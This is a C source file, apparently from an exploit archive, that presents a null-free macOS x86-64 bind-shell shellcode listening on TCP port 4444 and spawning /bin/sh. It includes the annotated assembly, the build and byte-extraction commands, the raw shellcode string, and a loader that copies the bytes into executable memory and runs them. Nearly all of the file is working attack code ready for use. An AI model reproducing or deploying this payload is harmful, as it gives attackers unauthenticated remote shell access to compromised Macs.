117 lines
No EOL
3.3 KiB
C
117 lines
No EOL
3.3 KiB
C
/*
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# Title: macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes)
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# Date: 2019-02-17
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# Tested: macOS 10.14.1
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# Author: Ken Kitahara
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# Compilation: gcc -o loader loader.c
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dev:works devuser$ sw_vers
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ProductName: Mac OS X
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ProductVersion: 10.14.1
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BuildVersion: 18B75
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dev:works devuser$ cat ipv4bind.s
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section .text
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global start
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start:
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; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
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xor rdi, rdi
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mul rdi
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mov dil, 0x2
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xor rsi, rsi
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mov sil, 0x1
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mov al, 0x2
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ror rax, 0x28
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mov r8, rax
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mov al, 0x61
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syscall
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; struct sockaddr_in {
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; __uint8_t sin_len;
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; sa_family_t sin_family;
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; in_port_t sin_port;
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; struct in_addr sin_addr;
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; char sin_zero[8];
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; };
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mov rsi, 0xffffffffa3eefdf0
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neg rsi
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push rsi
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push rsp
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pop rsi
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; bind(host_sockid, &sockaddr, 16)
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mov rdi, rax
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xor dl, 0x10
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mov rax, r8
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mov al, 0x68
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syscall
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; listen(host_sockid, 2)
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xor rsi, rsi
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mov sil, 0x2
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mov rax, r8
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mov al, 0x6a
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syscall
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; accept(host_sockid, 0, 0)
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xor rsi, rsi
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xor rdx, rdx
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mov rax, r8
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mov al, 0x1e
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syscall
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mov rdi, rax
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mov sil, 0x3
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dup2:
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; dup2(client_sockid, 2)
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; -> dup2(client_sockid, 1)
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; -> dup2(client_sockid, 0)
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mov rax, r8
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mov al, 0x5a
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sub sil, 1
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syscall
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test rsi, rsi
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jne dup2
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; execve("//bin/sh", 0, 0)
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push rsi
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mov rdi, 0x68732f6e69622f2f
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push rdi
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push rsp
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pop rdi
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mov rax, r8
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mov al, 0x3b
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syscall
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dev:works devuser$ nasm -f macho64 -o ipv4bind.o ipv4bind.s && ld -macosx_version_min 10.7.0 -o ipv4bind ipv4bind.o
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dev:works devuser$ for i in $(objdump -d ./ipv4bind.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
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\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\xb0\x02\x48\xc1\xc8\x28\x49\x89\xc0\xb0\x61\x0f\x05\x48\xc7\xc6\xf0\xfd\xee\xa3\x48\xf7\xde\x56\x54\x5e\x48\x89\xc7\x80\xf2\x10\x4c\x89\xc0\xb0\x68\x0f\x05\x48\x31\xf6\x40\xb6\x02\x4c\x89\xc0\xb0\x6a\x0f\x05\x48\x31\xf6\x48\x31\xd2\x4c\x89\xc0\xb0\x1e\x0f\x05\x48\x89\xc7\x40\xb6\x03\x4c\x89\xc0\xb0\x5a\x40\x80\xee\x01\x0f\x05\x48\x85\xf6\x75\xf0\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x4c\x89\xc0\xb0\x3b\x0f\x05
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dev:works devuser$
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*/
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#include <stdio.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <stdlib.h>
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int (*sc)();
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char shellcode[] =
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"\x48\x31\xff\x48\xf7\xe7\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\xb0\x02\x48\xc1\xc8\x28\x49\x89\xc0\xb0\x61\x0f\x05\x48\xc7\xc6\xf0\xfd\xee\xa3\x48\xf7\xde\x56\x54\x5e\x48\x89\xc7\x80\xf2\x10\x4c\x89\xc0\xb0\x68\x0f\x05\x48\x31\xf6\x40\xb6\x02\x4c\x89\xc0\xb0\x6a\x0f\x05\x48\x31\xf6\x48\x31\xd2\x4c\x89\xc0\xb0\x1e\x0f\x05\x48\x89\xc7\x40\xb6\x03\x4c\x89\xc0\xb0\x5a\x40\x80\xee\x01\x0f\x05\x48\x85\xf6\x75\xf0\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x4c\x89\xc0\xb0\x3b\x0f\x05";
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int main(int argc, char **argv) {
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printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
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void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
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if (ptr == MAP_FAILED) {
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perror("mmap");
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exit(-1);
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}
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memcpy(ptr, shellcode, sizeof(shellcode));
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sc = ptr;
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sc();
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return 0;
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} |